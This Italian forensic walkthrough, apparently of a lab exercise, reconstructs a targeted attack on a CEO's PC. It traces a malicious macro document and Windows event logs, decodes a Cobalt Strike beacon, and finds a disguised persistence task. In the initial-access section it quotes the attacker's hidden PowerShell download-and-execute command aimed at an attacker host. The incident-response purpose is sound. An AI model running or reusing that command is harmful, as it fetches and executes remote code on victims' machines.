Per gestire l’incubo di una compromissione informatica, il cosiddetto APTNightmare, e le fasi di attacco e risposta è necessario effettuare un’analisi forense i cui risultati consentiranno poi di rafforzare la postura di sicurezza in ambienti reali.

Per comprendere come procedere, possiamo immaginare di effettuare questa analisi sul computer dell’amministratore delegato rimasto vittima di un attacco mirato.

Individuiamo la macchina del CEO cercando l’hostname

Come prima cosa, estraiamo l’immagine del disco fornitaci: DiskImage_CEO-US.zip e, analizzando il file di log, troviamo proprio l’hostname della macchina.

subl 2024-02-05 T02_40_17_5711568_ConsoleLog.txt

Alla ricerca dell’allegato malevolo che ha infettato il PC del CEO

Abbiamo quindi l’immagine della macchina del ceo-us, vediamo adesso dove ha scaricato l’allegato malevolo.

Cerchiamo, in tutta l’immagine del disco della macchina vittima, l’allegato malevolo tramite il comando grep (in maniera ricorsiva):

grep -r “policy.docm”

Due percorsi matchano con le richieste:

grep: C/Users/ceo-us/AppData/Roaming/Microsoft/Windows/Recent/policy.lnk: binary file matches
grep: C/Users/ceo-us/AppData/Roaming/Microsoft/Office/Recent/policy.LNK: binary file matches

Aprendo il file tramite un semplice cat, possiamo capire dove l’ignara vittima ha scaricato il file, in un classico percorso di Default di windows:

C:\Users\ceo-us\Downloads\policy.docm

Il punto di accesso dell’attacco informatico

Adesso, per entrare nel merito di ciò che è accaduto sulla macchina vittima, dobbiamo esaminare i log di windows.

In Windows tutti gli eventi di sistema – avvii, arresti, errori applicativi, tentativi di accesso ecc. – finiscono nei log di Windows, archiviati per impostazione predefinita nella cartella:

C:\Windows\System32\winevt\Logs\

Ogni file di log ha l’estensione .evtx. La sigla sta semplicemente per EVenT Xml, perché dall’edizione Vista in poi Microsoft ha adottato un nuovo formato binario che racchiude gli eventi in record XML (più strutturati e compressi rispetto ai vecchi .evt di Windows XP).

La consultazione di questi log da parte di un analista potrebbe richiedere molto tempo. Noi utilizzeremo un tool per velocizzare il processo, chiamato: APTHunter.

APT-Hunter è uno strumento open-source di threat hunting offline progettato per analizzare rapidamente grandi volumi di log Windows (.evtx).

Partendo da una cartella di Event Log esportati, il programma:

1. Parsa i logs Security, Sysmon, PowerShell, WMI.
2. Applica oltre 200 regole di rilevamento che traducono pattern tipici di APT (credential dumping, persistence, lateral movement, ecc.) in indicatori concreti; Shells.Systems
3. Correla gli eventi e produce una timeline già etichettata con le tecniche MITRE ATT&CK, esportabile in CSV/Excel, Timeline Explorer o Timesketch per l’analisi successiva.

Per prima cosa scarichiamo il tool sulla nostra macchina Windows, estraiamolo e utilizziamo il comando per eseguire il parsing dei log:

APT-Hunter.exe -p DiskImage\C\Windows\System32\winevt\logs -o logs -allreport

Apriamo Adesso il file xlsx così generato: logs_Report.xlsx e portiamoci nella scheda “Powershell Events” ed analizziamo l’evento powershell.

• Provider = PowerShell → il log proviene dal motore di Windows PowerShell.
• EventID 600 / Task 6 / Level 4 → è un messaggio “Informational” che segnala lo stato di un provider PowerShell (in questo caso “FileSystem, Started”). Questa tipologia di evento compare a inizio esecuzione di una sessione o di uno script.

• TimeCreated = 2024-02-05 02:18:35 UTC (quindi circa le 03:18 in Italia a febbraio).
• Il PC è DESKTOP-ELS5JAK (lo stesso hostname del CEO compromesso).
• Nel campo HostApplication troviamo la riga completa di lancio:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
   -nop -w hidden -c
   IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.5:806/a’))

• nop (disattiva il profilo) e -w hidden (avvio finestra nascosta) sono flag tipici di uno script offuscato.
• c IEX (…) dice a PowerShell di eseguire direttamente (Invoke-Expression) il testo che scaricherà da http://192.168.1.5:806/a.

Risulta quindi un one-liner di download-and-execute: lo script viene recuperato in memoria e subito eseguito, senza salvare file su disco.

• L’IP 192.168.1.5 è lo stesso già individuato come macchina dell’attaccante.
• L’esecuzione è stealth (finestra nascosta), tipico di macro malevole o loader iniziali.
• Manca ogni dettaglio nei campi CommandName, ScriptName, CommandLine: indizio che il codice è stato iniettato direttamente tramite IEX, quindi non c’è uno script .ps1 reale registrato nei log.
• Questo evento è la prima esecuzione on-host della catena d’attacco: la macro policy.docm (o altro vettore) ha avviato PowerShell con i flag malevoli.
• Conferma timestamp e utente/host coinvolti, utili a ricostruire la timeline.
• Indica il server C2 (192.168.1.5:806) da cui è stato scaricato il payload successivo, che si rivelerà un Beacon di Cobalt Strike.

Quindi possiamo concludere che il comando utilizzato per l’Initial Access è:

powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(‘http://192.168.1.5:806/a’))

Cosa è stato scaricato dalla vittima

Vediamo adesso che cosa è stato scaricato dalla vittima.

Utilizziamo ancora una volta WireShark. Sappiamo che il download del file malevolo è avvenuto tramite la porta 806. Quindi impostiamo un filtro per analizzare solo il traffico da e verso quello porta specifica.

tcp.port == 806

Possiamo vedere che esiste una richiesta GET dalla macchina vittima alla macchina attaccante. Clicchiamo con il tasto destro del mouse sulla richiesta e seguiamo il flusso TCP Stream, per entrare nel dettaglio della richiesta.

La richiesta è encoded in base64 come possiamo vedere FromBase64String inoltre scorrendo alla fine, possiamo notare che è anche stata compressa con GZIP.

Non ci resta che utilizzare CyberChef, ancora una volta per la decodifica. Per prima cosa, apriamo CyberChef.

Quindi, incolliamo l’intero blob Base64 nella finestra Input (colonna di sinistra). Successivamente, costruiamo la recipe:

• Nel riquadro centrale (“Operations”), scrivi nella barra di ricerca “From Base64” e trascina l’operazione nell’area vuota della recipe.
• Subito sotto, cerca “Gunzip” (o “Zlib inflate” se il file usa zlib puro) e trascina anche questa. L’ordine è importante: prima decodifichiamo da Base64, poi sgonfiamo il risultato.

Adesso abbiamo l’output decodificato.

Salviamolo su un file qualsiasi e analizziamolo: ancora una volta incontriamo un encoded in base64 ma questa volta con uno XOR.

Nel payload PowerShell che accompagna il malware troviamo un ciclo che applica l’operazione XOR a ogni singolo byte dell’array $var_code, utilizzando la chiave fissa 35 (decimale, ossia 0x23 in esadecimale). L’operatore -bxor di PowerShell esegue un “Exclusive-OR bit-wise”, tecnica di offuscamento molto diffusa perché simmetrica: lo stesso valore che nasconde i dati li può anche riportare in chiaro. In pratica lo sviluppatore del codice ha cifrato il payload originale facendo byte 0x23; allo start del malware applica di nuovo ⊕ 0x23, ottenendo i byte legittimi pronti per l’esecuzione.

Quando l’analista apre il blob in CyberChef, per invertire l’offuscamento deve replicare esattamente quell’operazione: dopo aver già decodificato Base64 e decompresso con Gunzip, basterà aggiungere all’interno della recipe l’operazione XOR con chiave 35 impostata in formato Decimal. CyberChef applicherà l’XOR a ogni byte e il risultato (testo leggibile o binario eseguibile) apparirà immediatamente nell’output, consentendo di proseguire con l’analisi del codice in chiaro.

Quindi prepariamo la nostra nuove Recipe su CyberChef accodando, questa volta, al base64 la funzione di XOR, scegliamo nelle opzioni “DECIMAL” ed impostiamo il valore a 35. Copiamo ed incolliamo il nuovo contenuto (appena estratto). Una volta che abbiamo ottenuto la decodifica salviamo l’ouptup su un nuovo file.

Esportiamo adesso l’Output su di un file, ed analizziamolo su Virus Total. Così facendo scopriamo che la vittima ha scaricato un beacon di Cobalt Strike.

È il momento di usare Cobalt Strike

Cobalt Strike è una piattaforma commerciale di post-exploitation nata per i red team: fornisce agli operatori un set completo di strumenti per muoversi all’interno di un’infrastruttura compromessa, eseguire comandi, pivotare su altri host e simulare tecniche APT.

Il cuore dell’ambiente è il Beacon, un payload leggero che, una volta eseguito sulla macchina vittima, apre un canale di Command & Control verso il server di Cobalt Strike. Da quel momento il Beacon “batte il tempo”: contatta periodicamente (o rimane in polling) il C2, riceve istruzioni e le esegue – dal download di ulteriori moduli all’esfiltrazione di dati, fino all’escalation di privilegi o al movimento laterale.

In altre parole, il Beacon è l’agente che trasforma una singola infezione in un accesso remoto persistente e furtivo, offrendo all’attaccante (o al team di test) la stessa flessibilità operativa di un APT reale.

Un ricercatore di nome Didier Stevens ha sviluppato un tool in python per decodificare/decriptare i beacons di Cobalt Strike. Andiamo quindi sul repository e scarichiamoci lo script da qui.

Quindi, diamo il comando per analizzare il beacon:

python3 1768.py -r XOR_download.dat

Scopriamo che il Type di questo payload è:

windows-beacon_http-reverse_http

Individuiamo i processi malevoli creati dall’attaccante

Siamo arrivati all’ultima parte della nostra analisi, non ci resta che vedere adesso quale Task in windows è stato aggiunto dall’attaccante.

Solitamente Windows memorizza i Task nella seguente cartella:

C:\Windows\System32\Tasks

Siamo in possesso anche di dump completo della macchina, quindi vediamo quali Task sono presenti all’interno della macchina vittima, utilizzando semplicemente il comando ls -al.

WindowsUpdateCheck non sembra essere un Task di Default, apriamolo per leggerne il contenuto. Difatti, molti indizi ci portano a ritenerlo malevolo e sicuramente aggiunto dall’attaccante.

Il task “WindowsUpdateCheck” sembra pensato per mimetizzarsi fra le attività legittime di Windows, ma i dettagli tradiscono una mano malevola. Un vero aggiornamento di sistema verrebbe registrato sotto la cartella \Microsoft\Windows\WindowsUpdate e partirebbe con account SYSTEM, mentre qui l’autore risulta ceo-us, cioè un utente interattivo: un amministratore di dominio difficilmente schedulerebbe un’attività di update con privilegi così bassi.

Ancora più sospetto è il comando: si lancia cmd.exe /c start C:\Users\Public\WindowsUpdate.exe. I binari di Windows Update originali risiedono in C:\Windows\System32 o C:\Windows\WinSxS, non dentro la cartella Public, che è accessibile a chiunque e perfetta per ospitare un eseguibile drop-in.

Infine, il trigger è quotidiano a mezzogiorno – orario arbitrario, non allineato ai normali cicli di Windows Update – e il task è stato creato il 4 febbraio alle 18:22, fuori dall’orario di manutenzione programmata.

Nell’insieme: ubicazione e nome del binario, autore non privilegiato, percorso atipico e schedule “artigianale” indicano chiaramente un meccanismo di persistenza piazzato da un attaccante, non un’operazione lecita di un amministratore di sistema.